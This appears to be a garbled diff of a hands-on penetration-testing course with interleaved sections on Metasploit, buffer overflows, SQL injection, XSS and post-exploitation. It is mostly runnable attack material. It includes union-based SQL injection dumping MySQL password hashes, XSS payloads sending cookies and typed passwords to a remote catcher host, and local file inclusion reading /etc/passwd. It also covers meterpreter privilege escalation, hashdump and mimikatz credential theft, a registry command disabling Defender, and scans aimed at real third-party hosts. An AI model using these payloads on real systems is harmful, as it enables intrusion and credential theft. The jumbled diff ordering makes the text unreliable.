Lastly, we can go to our stages directory to see what all payloads are available for us to send over for use with
924
our stagers...
925-
- Keep your meterpreter shell open from the previous lab exercises, and in a new Linux command window type the following: 
925+
926
cd ../stages
927-
echo 'print_status("Hello World")' > /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb
927+
928
-----------------------------------------------------------------------    
929
 
930
 
931
Again, we can see that our stages are coded for particular operating systems and languages.
932
We can take a look at shell.rb and see the shellcode that would be put into the payload that would be staged on the
933
victim machine which would be encoded to tell the victim machine where to connect back to and what commands to run,
934
if any.
935
 
936
- Other module directories include nops, encoders, and post. Post modules are what are used in sessions that have
937
already been opened in meterpreter, to gain more information on the victim machine, collect hashes, or even tokens,
938
so we can impersonate other users on the system in hopes of elevating our privileges.
939
---------------------------Type This-----------------------------------
940-
- Open /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb in your favorite and add following
940+
941
ls
942
cd windows/
943
ls
944-
vi /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb
944+
945-
-------(paste the code below into this file)-------
945+
946
 
947
Inside the windows directory we can see all the post modules that can be run, capture is a directory that holds all
948
the modules to load keyloggers, or grab input from the victim machine. Escalate has modules that will try to
949
escalate our privileges. Gather has modules that will try to enumerate the host to get as much information as
950
possible out of it. WLAN directory holds modules that can pull down WiFi access points that the victim has in
951
memory/registry and give you the AP names as well as the WEP/WPA/WPA2 key for the network.
952
 
953
#################################
954
# Getting start with MSFConsole #
955
#################################
956
 
957
---------------------------Type This-----------------------------------
958
cd ~/toolz/metasploit/
959
 
960
./msfconsole
961
----------------------------------------------------------------------
962
 
963
 
964
 
965
##############################################
966
# Run any Linux command inside of MSFConsole #
967
##############################################
968
 
969
Once you are inside of MSFConsole you want to do EVERYTHING
970
that you'd normally do in your Linux command shell in addition
971
to running Metasploit commands.
972
 
973-
vi /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb
973+
974-
-------(paste the code below into this file)-------
974+
975
ls
976
 
977
pwd
978
 
979
ping -c1 yahoo.com
980
 
981
nmap yahoo.com
982
----------------------------------------------------------------------
983
 
984
 
985
 
986
 
987
- You're on the outside scanning publicly accessable targets.
988
 
989
 
990
---------------------------Type This-----------------------------------
991
use auxiliary/scanner/portscan/tcp
992
 
993
set RHOSTS 217.108.137.200
994
 
995
set PORTS 80,1433,1521,3306,8000,8080,8081,10000                      
996
 
997
run
998
----------------------------------------------------------------------
999-
vi /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb
999+
1000-
-------(paste the code below into this file)-------
1000+
1001
 
1002
        - So let's do a quick google search for someone with trace.axd file
1003
        - filetye:axd inurl:trace.axd
1004
--------------------------Type This-----------------------------------
1005
use auxiliary/scanner/http/     (press the tab key, then press y to look through the http options)
1006
----------------------------------------------------------------------
1007
 
1008
- Here is an example:
1009
---------------------------Type This-----------------------------------
1010
use auxiliary/scanner/http/trace_axd
1011
 
1012
set RHOSTS 207.20.57.112
1013
 
1014
set VHOST www.motion-vr.net
1015
 
1016
run
1017
----------------------------------------------------------------------
1018
 
1019
 
1020
 
1021
 
1022
---------------------------Type This-----------------------------------
1023
use auxiliary/scanner/http/http_version                
1024
 
1025
set RHOSTS 45.77.162.239
1026
 
1027
set RPORT 80
1028
 
1029
run
1030
----------------------------------------------------------------------
1031
 
1032
 
1033
---------------------------Type This-----------------------------------
1034
use auxiliary/scanner/http/tomcat_enum                  
1035
 
1036
set RHOSTS 217.108.137.200
1037
 
1038-
# Meterpreter Challenge #
1038+
set RPORT 8080
1039
 
1040
run
1041
-----------------------------------------------------------------------
1042
1043
1044
#####################################
1045
# Quick Stack Based Buffer Overflow #
1046
#####################################
1047
 
1048
- You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
1049
http://45.63.104.73/ExploitLab.zip
1050-
# Writing Your Own Nmap NSE Scripts #
1050+
http://45.63.104.73/nc-password-is-netcat.zip   <--- save this file to your c:\windows\system32 directory
1051
 
1052
 
1053
 
1054
- Extract the ExploitLab.zip file to your Desktop
1055-
sudo vi /usr/share/nmap/scripts/intro-nse.nse
1055+
1056
- Go to folder C:\Users\student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
1057-
-- The Head Section --
1057+
1058-
-- The Rule Section --
1058+
1059-
portrule = function(host, port)
1059+
1060-
    return port.protocol == "tcp"
1060+
1061-
            and port.number == 80
1061+
1062-
            and port.state == "open"
1062+
1063
 
1064
- In the new command prompt window where you ran nc type:
1065-
-- The Action Section --
1065+
1066-
action = function(host, port)
1066+
1067-
    return "Munich Hacking!"
1067+
1068
- Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
1069
 
1070
- Now double-click on 1-simplefuzzer.py
1071-
- Ok, now that we've made that change let's run the script
1071+
1072-
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
1072+
1073
 
1074
- Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
1075
 
1076
- Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
1077
 
1078
- Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
1079
 
1080-
sudo vi /usr/share/nmap/scripts/intro-nse.nse
1080+
1081
 
1082-
-- The Head Section --
1082+
1083-
local shortport = require "shortport"
1083+
1084
- Calculate the distance to EIP by running script 3-3000chars.py
1085-
-- The Rule Section --
1085+
1086-
portrule = shortport.http
1086+
1087
4-count-chars-to-EIP.py
1088
- In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
1089-
-- The Action Section --
1089+
1090-
action = function(host, port)
1090+
1091-
    return "Munich Hacking!"
1091+
1092
- In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
1093
 
1094
6-jmp-esp.py
1095-
- Ok, now that we've made that change let's run the script
1095+
1096-
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
1096+
1097
7-first-exploit
1098
- In this script we actually do the stack overflow and launch a bind shell on port 4444
1099
 
1100
8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
1101
 
1102
 
1103
------------------------------
1104-
OK, now let's have some fun with my buddy Carlos Perez's website.
1104+
1105
 
1106
 
1107-
sudo vi /usr/share/nmap/scripts/intro-nse.nse
1107+
Skill Level 3. Identify unknown vulnerabilities
1108
-----------------------------------------------
1109-
-- The Head Section --
1109+
1110-
local shortport = require "shortport"
1110+
- App Type
1111-
local http = require "http"
1111+
------------
1112
   Stand Alone             Client Server               Web App
1113-
-- The Rule Section --
1113+
1114-
portrule = shortport.http
1114+
                       ***(vulnerserver.exe)***
1115
 
1116-
-- The Action Section --
1116+
1117-
action = function(host, port)
1117+
- Input TYpe
1118
-------------
1119-
    local uri = "/installing-metasploit-in-ubunt/"
1119+
   FIle                    logical network port            Browser
1120-
    local response = http.get(host, port, uri)
1120+
   Keyboard
1121-
    return response.status
1121+
   Mouse
1122
 
1123
 
1124
 
1125
                       ***(9999)***
1126-
- Ok, now that we've made that change let's run the script
1126+
1127-
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
1127+
1128
- Map & Fuzz app entry points:
1129
------------------------------
1130
   - Commands              ***(commands)***
1131
   - Methods
1132
   - Verbs
1133-
sudo vi /usr/share/nmap/scripts/intro-nse.nse
1133+
   - functions
1134
   - subroutines
1135-
-- The Head Section --
1135+
   - controllers
1136-
local shortport = require "shortport"
1136+
1137-
local http = require "http"
1137+
1138
- Isolate the crash
1139-
-- The Rule Section --
1139+
-------------------
1140-
portrule = shortport.http
1140+
App seems to reliably crash at TRUN 2100
1141
 
1142-
-- The Action Section --
1142+
1143-
action = function(host, port)
1143+
- Calculate the distance to EIP
1144
-------------------------------
1145-
    local uri = "/installing-metasploit-in-ubunt/"
1145+
Distance to EIP is 2006
1146-
    local response = http.get(host, port, uri)
1146+
1147
We found that EIP was populated with the value: 396F4338
1148-
    if ( response.status == 200 ) then
1148+
396F4338 is 8 (38), C (43), o (6F), 9 (39) so we search for 8Co9 in the non_repeating pattern
1149-
        return response.body
1149+
1150
An online tool that we can use for this is:
1151
https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
1152
 
1153
 
1154
 
1155-
- Ok, now that we've made that change let's run the script
1155+
- Redirect Program Execution
1156-
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
1156+
1157
A 3rd party dll named essfunc.dll seems to be the best candidate for the 'JMP ESP' instruction.
1158
We learned that we control EAX and ESP in script 2.
1159
 
1160
 
1161
 
1162
 
1163
 
1164
- Implement Shellcode
1165
---------------------
1166
There are only 2 things that can go wrong with shellcode:
1167-
sudo vi /usr/share/nmap/scripts/intro-nse.nse
1167+
- Not enough space
1168
- Bad characters
1169-
-- The Head Section --
1169+
1170-
local shortport = require "shortport"
1170+
1171-
local http = require "http"
1171+
1172-
local string = require "string"
1172+
1173
 
1174-
-- The Rule Section --
1174+
1175-
portrule = shortport.http
1175+
1176
# FreeFloat FTP Server Exploit Analysis #
1177-
-- The Action Section --
1177+
1178-
action = function(host, port)
1178+
1179
 
1180-
    local uri = "/installing-metasploit-in-ubunt/"
1180+
1181-
    local response = http.get(host, port, uri)
1181+
1182
https://www.exploit-db.com/exploits/15689/
1183-
    if ( response.status == 200 ) then
1183+
1184-
        local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
1184+
1185-
        return title
1185+
1186
3. What is the actual distance to EIP in bytes?
1187
4. Describe what is happening in the variable ‘junk2’
1188
 
1189
 
1190
 
1191-
- Ok, now that we've made that change let's run the script
1191+
1192-
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
1192+
1193
http://45.63.104.73/ff.zip
1194
 
1195
 
1196
 
1197
 
1198
ff1.py
1199
1. What does the sys module do?
1200
2. What is sys.argv[1] and sys.argv[2]?
1201-
sudo vi /usr/share/nmap/scripts/intro-nse.nse
1201+
1202
 
1203-
-- The Head Section --
1203+
1204-
local shortport = require "shortport"
1204+
1205-
local http = require "http"
1205+
1206-
local string = require "string"
1206+
1207
2. What is pattern_create.rb doing and where can I find it?
1208-
-- The Rule Section --
1208+
1209-
portrule = shortport.http
1209+
1210
 
1211-
-- The Action Section --
1211+
1212-
action = function(host, port)
1212+
1213
1. Explain what is happening in lines 17 - to 25?
1214-
    local uri = "/installing-metasploit-in-ubunt/"
1214+
1215-
    local response = http.get(host, port, uri)
1215+
1216
 
1217-
    if ( response.status == 200 ) then
1217+
1218-
        local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
1218+
1219
ff4.py
1220-
        if (title) then
1220+
1. Explain what is happening in lines 13 to 15.
1221-
            return "Vulnerable"
1221+
1222-
        else
1222+
1223-
            return "Not Vulnerable"
1223+
1224
 
1225
 
1226
ff5.py
1227
1. Explain what is happening in line 15.
1228
2. What is struct.pack?
1229
3. How big is the shellcode in this script?
1230-
- Ok, now that we've made that change let's run the script
1230+
1231-
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse www.darkoperator.com -p 22,80,443
1231+
1232
 
1233
ff6.py
1234
1. What is the distance to EIP?
1235
2. How big is the shellcode in this script?
1236
3. What is the total byte length of the data being sent to this app?
1237
 
1238
 
1239
 
1240
 
1241
ff7.py
1242
1. What is a tuple in python?
1243
2. How big is the shellcode in this script?
1244
3. Did your app crash in from this script?
1245
 
1246
 
1247
 
1248
 
1249
ff8.py
1250
1. How big is the shellcode in this script?
1251
2. What is try/except in python?
1252
3. What is socket.SOCK_STREAM in Python?
1253
 
1254
 
1255
 
1256
ff9.py
1257
1. What is going on in lines 19 and 20?
1258
2. What is the length of the NOPs?
1259
3. From what DLL did the address of the JMP ESP come from?
1260
 
1261
 
1262
 
1263
 
1264
ff010.py
1265
1. What is going on in lines 18 - 20?
1266
2. What is going on in lines 29 - 32?
1267
3. How would a stack adjustment help this script? 
1268
1269
1270
#####################################################
1271
# Log into the Linux virtual machine on your laptop #
1272
# username: infosecaddicts                          #
1273
# password: infosecaddicts                          #
1274
#####################################################
1275
1276
1277
/bin/bash
1278
1279
sudo apt-get install -y build-essential libreadline-dev libssl-dev libpq5 libpq-dev libreadline5 libsqlite3-dev libpcap-dev git-core autoconf postgresql pgadmin3 curl zlib1g-dev libxml2-dev libxslt1-dev libyaml-dev curl zlib1g-dev gawk bison libffi-dev libgdbm-dev libncurses5-dev libtool sqlite3 libgmp-dev gnupg2 dirmngr nmap
1280
1281
gpg2 --keyserver hkp://pool.sks-keyservers.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB
1282
1283-
---------------------------Paste this into Firefox-----------------------------------
1283+
curl -L https://get.rvm.io | bash -s stable
1284-
http://45.63.104.73/
1284+
1285-
-------------------------------------------------------------------------------------
1285+
source ~/.rvm/scripts/rvm
1286
1287
echo "source ~/.rvm/scripts/rvm" >> ~/.bashrc
1288
1289-
---------------------------Paste this into Firefox-----------------------------------
1289+
source ~/.bashrc
1290-
http://45.63.104.73/acre2.php?lap=acer
1290+
1291-
-------------------------------------------------------------------------------------
1291+
RUBYVERSION=$(wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/.ruby-version -q -O - )
1292
1293-
    - Found parameter passing (answer yes to question 1)
1293+
rvm install $RUBYVERSION
1294-
    - Insert ' to test for SQLI
1294+
1295
rvm use $RUBYVERSION --default
1296-
---------------------------Paste this into Firefox-----------------------------------
1296+
1297-
http://45.63.104.73/acre2.php?lap=acer'
1297+
cd ~/toolz
1298-
-------------------------------------------------------------------------------------  
1298+
1299
sudo git clone https://github.com/rapid7/metasploit-framework.git
1300
1301-
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
1301+
sudo chown -R `whoami` ~/toolz/metasploit-framework
1302
1303
mv metasploit-framework metasploit
1304
1305
cd ~/toolz/metasploit
1306
1307-
---------------------------Paste this into Firefox-----------------------------------
1307+
rvm --default use ruby-${RUBYVERSION}@metasploit
1308-
http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
1308+
1309-
-------------------------------------------------------------------------------------
1309+
rvm --default use ruby-${RUBYVERSION}@metasploit
1310
1311
rvm use $RUBYVERSION --default
1312
1313
ruby -v
1314
1315
gem install bundler
1316-
---------------------------Paste this into Firefox-----------------------------------
1316+
1317-
http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
1317+
bundle install
1318-
-------------------------------------------------------------------------------------  
1318+
1319
gem install bundler
1320
1321
bundle install
1322
1323
1324
################################
1325-
---------------------------Paste this into Firefox-----------------------------------
1325+
# Exploitation with Metasploit #
1326-
http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
1326+
1327-
-------------------------------------------------------------------------------------
1327+
Step 1: Disable the firewall on your Windows 10 host
1328
 
1329
Step 2: Run your command prompt as an administrator
1330
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
1331
 
1332
Step 3: Restart your computer (I'm sorry - I know this sux!)
1333-
---------------------------Paste this into Firefox-----------------------------------
1333+
1334-
http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
1334+
Step 4: Start the vulnerable server (no need to turn on OllyDBG)
1335-
-------------------------------------------------------------------------------------
1335+
1336
Step 5: From your CentoS run the following commands
1337
---------------------------Type This-----------------------------------
1338
cd ~/
1339
 
1340
wget https://s3.amazonaws.com/infosecaddictsfiles/ExploitLab.zip
1341-
---------------------------Paste this into Firefox-----------------------------------
1341+
1342-
http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
1342+
unzip ExploitLab.zip
1343-
-------------------------------------------------------------------------------------
1343+
1344
cd ExploitLab/4-AttackScripts/
1345
 
1346
vi vulnserv.rb
1347
 
1348
cp vulnserv.rb ~/toolz/metasploit/modules/exploits/windows/misc
1349
 
1350
cd ~/toolz/metasploit/
1351
 
1352
./msfconsole
1353
 
1354-
---------------------------Paste this into Firefox-----------------------------------
1354+
1355-
http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
1355+
1356-
-------------------------------------------------------------------------------------
1356+
1357
set PAYLOAD windows/meterpreter/bind_tcp
1358
set RHOST [CHANGEME-TO-YOUR-WIN10-IP]
1359
set RPORT 9999
1360
exploit
1361
-----------------------------------------------------------------------
1362-
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
1362+
1363-
-------------------------------------------------------------------------------------
1363+
1364
 
1365
 
1366
 
1367
###########################
1368
# Client-Side Enumeration #
1369
###########################
1370
 
1371-
---------------------------Paste these one line at a time into Firefox-----------------------------------
1371+
1372-
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
1372+
1373
********************************** Figure out who and where you are **********************************
1374-
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
1374+
1375
 
1376-
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
1376+
1377
meterpreter> sysinfo
1378-
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
1378+
1379
 
1380-
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
1380+
meterpreter> getuid
1381-
------------------------------------------------------------------------------------- -------------------
1381+
1382
 
1383
meterpreter> ipconfig
1384
 
1385
 
1386
meterpreter> run post/windows/gather/checkvm
1387
 
1388
meterpreter> run post/multi/manage/autoroute
1389
-----------------------------------------------------------------------
1390
 
1391
 
1392
********************************** Enumerate the host you are on **********************************
1393
 
1394
 
1395-
###############################################################################
1395+
1396-
# What is XSS                                                                 #
1396+
meterpreter > run post/windows/gather/enum_applications
1397-
# https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx            #
1397+
1398-
###############################################################################
1398+
meterpreter > run post/windows/gather/enum_logged_on_users
1399
 
1400
meterpreter > run post/windows/gather/usb_history
1401
 
1402
meterpreter > run post/windows/gather/enum_shares
1403-
    ---------------------------Paste this into Firefox-----------------------------------
1403+
1404-
    http://45.63.104.73/xss_practice/
1404+
meterpreter > run post/windows/gather/enum_snmp
1405-
    -------------------------------------------------------------------------------------
1405+
1406
meterpreter> reg enumkey -k HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
1407-
    A really simple search page that is vulnerable should come up.
1407+
1408
 
1409
 
1410
 
1411
 
1412
********************************** Escalate privileges and get hashes **********************************
1413-
    ---------------------------Paste this into Firefox-----------------------------------
1413+
1414-
    <script>alert('So this is XSS')</script>
1414+
1415-
    -------------------------------------------------------------------------------------
1415+
1416
meterpreter> use priv
1417
-----------------------------------------------------------------------
1418-
    This should pop-up an alert window with your message in it proving XSS is in fact possible.
1418+
1419-
    Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
1419+
1420
--Option 1: GetSystem
1421
---------------------------Type This-----------------------------------
1422
meterpreter> getsystem
1423-
    ---------------------------Paste this into Firefox-----------------------------------
1423+
1424-
    <script>alert(document.cookie)</script>
1424+
1425-
    -------------------------------------------------------------------------------------
1425+
--Option 2:
1426
---------------------------Type This-----------------------------------
1427
meterpreter > run post/windows/escalate/getsystem
1428-
    This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
1428+
1429-
    Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
1429+
1430
--Option 3:
1431
---------------------------Type This-----------------------------------
1432-
    ---------------------------Paste this into Firefox-----------------------------------
1432+
meterpreter> background
1433-
    <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
1433+
back
1434-
    -------------------------------------------------------------------------------------
1434+
use post/windows/escalate/droplnk
1435
set SESSION 1
1436
set PAYLOAD windows/meterpreter/reverse_tcp
1437
set LHOST [ ChangeME to CentOS VM IP ]                                            
1438
set LPORT 1234
1439
exploit
1440-
   ---------------------------Paste this into Firefox-----------------------------------
1440+
1441-
   http://45.63.104.73/xss_practice/cookie_stealer_logs.html
1441+
1442-
   -------------------------------------------------------------------------------------  
1442+
--Option 4:
1443
---------------------------Type This-----------------------------------
1444
use exploit/windows/local/bypassuac
1445
set SESSION 1
1446
set PAYLOAD windows/meterpreter/reverse_tcp
1447
set LHOST [ ChangeME to CentOS VM IP ]                                            
1448
set LPORT 12345
1449
exploit
1450
-----------------------------------------------------------------------
1451
 
1452
 
1453
--Option 5:
1454
---------------------------Type This-----------------------------------
1455
use exploit/windows/local/service_permissions
1456
set SESSION 1
1457
set PAYLOAD windows/meterpreter/reverse_tcp
1458
set LHOST [ ChangeME to CentOS VM IP ]                                            
1459
set LPORT 5555
1460-
---------------------------Paste this into Firefox-----------------------------------
1460+
1461-
    http://45.63.104.73/xss_practice/
1461+
1462-
-------------------------------------------------------------------------------------  
1462+
1463
 
1464
--Option 6:
1465
---------------------------Type This-----------------------------------
1466
use exploit/windows/local/trusted_service_path
1467
set SESSION 1
1468
set PAYLOAD windows/meterpreter/reverse_tcp
1469-
Option 1
1469+
set LHOST [ ChangeME to CentOS VM IP ]                                            
1470-
--------
1470+
set LPORT 4567
1471-
---------------------------Paste this into Firefox-----------------------------------
1471+
1472
-----------------------------------------------------------------------
1473
 
1474-
document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
1474+
--Option 7:
1475
---------------------------Type This-----------------------------------
1476-
-------------------------------------------------------------------------------------  
1476+
use exploit/windows/local/ppr_flatten_rec
1477
set SESSION 1
1478
set PAYLOAD windows/meterpreter/reverse_tcp
1479-
---------------------------Paste this into Firefox-----------------------------------
1479+
set LHOST [ ChangeME to CentOS VM IP ]                                            
1480-
    http://45.63.104.73/xss_practice/passwords.html
1480+
set LPORT 7777
1481-
-------------------------------------------------------------------------------------  
1481+
1482
-----------------------------------------------------------------------
1483
 
1484-
Option 2
1484+
1485-
--------
1485+
--Option 8:
1486-
-------------------------Paste this into Firefox-----------------------------------
1486+
1487
use exploit/windows/local/ms_ndproxy
1488-
username=prompt('Please enter your username',' ');
1488+
set SESSION 1
1489-
password=prompt('Please enter your password',' ');
1489+
set PAYLOAD windows/meterpreter/reverse_tcp
1490-
document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
1490+
set LHOST [ ChangeME to CentOS VM IP ]                                            
1491
set LPORT 7788
1492-
-------------------------------------------------------------------------------------  
1492+
1493
-----------------------------------------------------------------------
1494
 
1495
--Option 9:
1496
---------------------------Type This-----------------------------------
1497-
http://45.63.104.73/xss_practice/username_password_logs.html
1497+
use exploit/windows/local/ask
1498
set SESSION 1
1499
set PAYLOAD windows/meterpreter/reverse_tcp
1500
set LHOST [ ChangeME to CentOS VM IP ]                                            
1501
set LPORT 7799
1502
exploit
1503-
# Let's try a local file include (LFI)  #
1503+
1504
 
1505-
- Here is an example of an LFI
1505+
1506-
- Open this page in Firefox:
1506+
    A window will pop up and you need to click Yes in order to get your new meterpreter shell
1507-
-------------------------Paste this into Firefox-----------------------------------
1507+
1508-
http://45.63.104.73/showfile.php?filename=contactus.txt
1508+
1509-
-------------------------------------------------------------------------------------
1509+
meterpreter > getuid
1510
 
1511
meterpreter > ps                (search for a process running as NT AUTHORITY\SYSTEM)
1512-
- Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt)
1512+
1513-
- Here you see a direct reference to a file on the local filesystem of the victim machine.
1513+
meterpreter > migrate 2800      (your process id WILL NOT be 2800, but make sure you use one that is running at NT AUTHORITY\SYSTEM)
1514-
- You can attack this by doing the following:
1514+
1515-
-------------------------Paste this into Firefox-----------------------------------
1515+
meterpreter > getsystem
1516-
http://45.63.104.73/showfile.php?filename=/etc/passwd
1516+
...got system (via technique 1).
1517-
-------------------------------------------------------------------------------------
1517+
1518
 
1519
meterpreter > getuid
1520-
- This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from
1520+
Server username: NT AUTHORITY\SYSTEM
1521-
- somewhere else on the Internet. Here is an example of a text file on the web:
1521+
1522-
-------------------------Paste this into Firefox-----------------------------------
1522+
1523-
http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
1523+
meterpreter> run post/windows/gather/hashdump
1524-
-------------------------------------------------------------------------------------
1524+
1525
meterpreter> run post/windows/gather/credentials/credential_collector
1526-
- Now we can attack the target via RFI like this:
1526+
1527-
-------------------------Paste this into Firefox-----------------------------------
1527+
1528-
http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
1528+
1529-
-------------------------------------------------------------------------------------
1529+
********************************** Steal Tokens **********************************
1530
 
1531
---------------------------Type This-----------------------------------
1532
meterpreter > getsystem
1533
 
1534-
# How much fuzzing is enough? #
1534+
meterpreter > use incognito
1535
 
1536-
There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
1536+
meterpreter > list_tokens -u
1537
 
1538-
Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
1538+
meterpreter > list_tokens -g
1539
 
1540
meterpreter > impersonate_token                         <-- choose who you want to impersonate but be sure to use 2 slashes in the name (ex: impersonate_token domain\\user)
1541-
Step 1: Ask yourself the 3 questions per page of the site.
1541+
1542
meterpreter> getuid
1543-
Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
1543+
1544
 
1545-
Step 3: When you load your fuzz strings - use the following decision tree
1545+
1546
************ Stealing credentials and certificates ************
1547-
    - Are the fuzz strings causing a default error message (example 404)?
1547+
- NOTE: Most of the stuff after 'kerberos' DOES NOT work, but is given here so you know the correct syntax to use when connected to AD or dealing with smart/CAC cards.
1548-
        - If this is the case then it is most likely NOT vulnerable
1548+
1549
---------------------------Type This-----------------------------------
1550-
    - Are the fuzz strings causing a WAF or LB custom error message?
1550+
meterpreter > getsystem
1551-
        - If this is the case then you need to find an encoding method to bypass
1551+
1552
meterpreter > load mimikatz
1553
 
1554-
    - Are the fuzz strings causing an error message that discloses the backend type?
1554+
meterpreter > kerberos
1555-
        - If yes, then identify DB type and find correct syntax to successfully exploit
1555+
1556-
        - Some example strings that I use are:
1556+
meterpreter > mimikatz_command -f sekurlsa::logonPasswords -a "full"
1557-
            '
1557+
1558-
            "
1558+
meterpreter > msv                                                               <-- Your AD password
1559-
            ()          <----- Take the parameter value and put it in parenthesis
1559+
1560-
            (5-1)       <----- See if you can perform an arithmetic function
1560+
meterpreter > livessp                                                           <-- Your Windows8 password
1561
 
1562
meterpreter > ssp                                                               <-- Your outlook password
1563-
    - Are the fuzz strings rendering executable code?
1563+
1564-
        - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
1564+
meterpreter > tspkg                                                             <-- Your AD password
1565-
        - Some example strings that I use are:
1565+
1566-
            <b>hello</b>
1566+
meterpreter > wdigest                                                           <-- Your AD password
1567-
            <u>hello</u>
1567+
1568-
            <script>alert(123);</script>
1568+
meterpreter > mimikatz_command -f crypto::listStores
1569-
            <script>alert(xss);</script>
1569+
1570-
            <script>alert('xss');</script>
1570+
meterpreter > mimikatz_command -f crypto::listCertificates
1571-
            <script>alert("xss");</script>
1571+
1572
meterpreter > mimikatz_command -f crypto::exportCertificates CERT_SYSTEM_STORE_CURRENT_USER
1573
 
1574-
###############################################################
1574+
meterpreter > mimikatz_command -f crypto::patchcapi
1575-
# Question 1: What is the process that you use when you test? #
1575+
1576-
###############################################################
1576+
meterpreter> search -d <directory> -f <file-pattern>
1577
-----------------------------------------------------------------------
1578-
Step 1: Automated Testing
1578+
1579
# Section 4: Custom Meterpreter Scripting #
1580-
Step 1a: Web Application vulnerability scanners
1580+
1581
---------------------------Type This-----------------------------------
1582-
- Run two (2) unauthenticated vulnerability scans against the target
1582+
cd ~
1583-
- Run two (2) authenticated vulnerability scans against the target with low-level user credentials
1583+
mkdir binaries
1584-
- Run two (2) authenticated vulnerability scans against the target with admin privileges
1584+
cd ~/binaries
1585
wget https://s3.amazonaws.com/infosecaddictsfiles/wce.exe
1586-
The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
1586+
wget https://s3.amazonaws.com/infosecaddictsfiles/nc.exe
1587
wget https://s3.amazonaws.com/infosecaddictsfiles/mimikatz.exe
1588-
A good web application vulnerability scanner comparison website is here:
1588+
1589-
http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
1589+
1590
 
1591
can offer.  This will also show you the flexibility of the Meterpreter scripts.
1592-
Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
1592+
1593
- We're going to start off with a simple Hello World script first.  
1594-
When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
1594+
1595
---------------------------Type This-----------------------------------  
1596
echo 'print_status("Hello World")' > /home/infosecaddicts/toolz/metasploit/scripts/meterpreter/helloworld.rb
1597-
Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
1597+
1598
 
1599
- This next portion is up to you, exploit your test box and end up with a Meterpreter shell.
1600-
Also, be sure to save the scan results and logs. I usually provide this data to the customer.
1600+
1601
- Lets test out our helloworld.rb Meterpreter script.
1602
 
1603
---------------------------Type This-----------------------------------
1604-
Step 1b: Directory Brute Forcer
1604+
1605
 
1606-
